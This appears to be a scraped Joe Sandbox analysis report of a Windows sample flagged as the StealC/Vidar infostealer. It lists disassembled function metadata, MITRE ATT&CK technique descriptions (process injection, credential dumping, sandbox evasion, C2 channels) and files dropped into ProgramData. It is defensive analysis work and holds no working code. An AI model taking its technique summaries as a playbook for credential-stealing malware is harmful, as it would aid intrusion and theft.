String ID:
API String ID: 4259248891-0
Opcode ID: 5cf9d2bf3d837c3957ea928ef843f79daedadce377f00d9fe1ca00bba72be87d
Instruction ID: fe99e3e7cc7026cdc591976d874872a8b6039d257af178db3d3df5153889b693
Opcode Fuzzy Hash: 5cf9d2bf3d837c3957ea928ef843f79daedadce377f00d9fe1ca00bba72be87d
Instruction Fuzzy Hash: FA31C571A1060A8FEB08CF2CCD806AA73E9EB85344F504639D52AC7655EF31E65ACB91

Function 6C60B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C5B0A4D), ref: 6C60B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C5B0A4D), ref: 6C60B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5B0A4D), ref: 6C60B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C5B0A4D), ref: 6C60B67F

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 2db3bba7e13b4994be89daef076b27c93a3fa56044cfc655a27edf42c0c0bcd6
Instruction ID: c005816eac53de3db2f64862330d05e188912859335dcd8631030355d99441d6
Opcode Fuzzy Hash: 2db3bba7e13b4994be89daef076b27c93a3fa56044cfc655a27edf42c0c0bcd6
Instruction Fuzzy Hash: 4931D471A112168FEB14CF59C98465AFBB9FFC1304F16C569C806AB201DB31E915CBE5

Function 6C5DF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5DF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5DF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C5DF668

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: f3efbb9df7ab69244732f3331dbab488b233a8e45ecd5aa99811ab534ae9bba5
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 35314F71A00314AFC714CF5DDCC0A9F77B5EB85358B188A39FA4A8BB05D632F9448B98

Function 6C5F26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F26C1
free.MOZGLUE(?), ref: 6C5F26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5F26FF
free.MOZGLUE ref: 6C5F270D

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 155de90e8657adb84e35884fc56bae3f43477ba44312ac8d09c4cc45bfbd8ceb
Instruction ID: 836eab60d468a3676c8e9ebce83fa91ae8bd3a814d68d1400a0f09585e9a4d07
Opcode Fuzzy Hash: 155de90e8657adb84e35884fc56bae3f43477ba44312ac8d09c4cc45bfbd8ceb
Instruction Fuzzy Hash: D4F0F9F27012406BFB049A59DCC494BB3ADEF81258B500035EA2AC3B01E732F91ACAD7

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAFBAKECAEGCBFIEGDGI

C:\ProgramData\BGDAAKJJDAAKFHJKJKFCAEHDAF

C:\ProgramData\BGIJEGCGDGHDHIDHDGCB

C:\ProgramData\BKFHCGIDBAAFHIDHDAAEHIEHIE

C:\ProgramData\CGIDHIIJKEBGHJJKFIDA

C:\ProgramData\DBGHDGHC

C:\ProgramData\FBKECFII

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre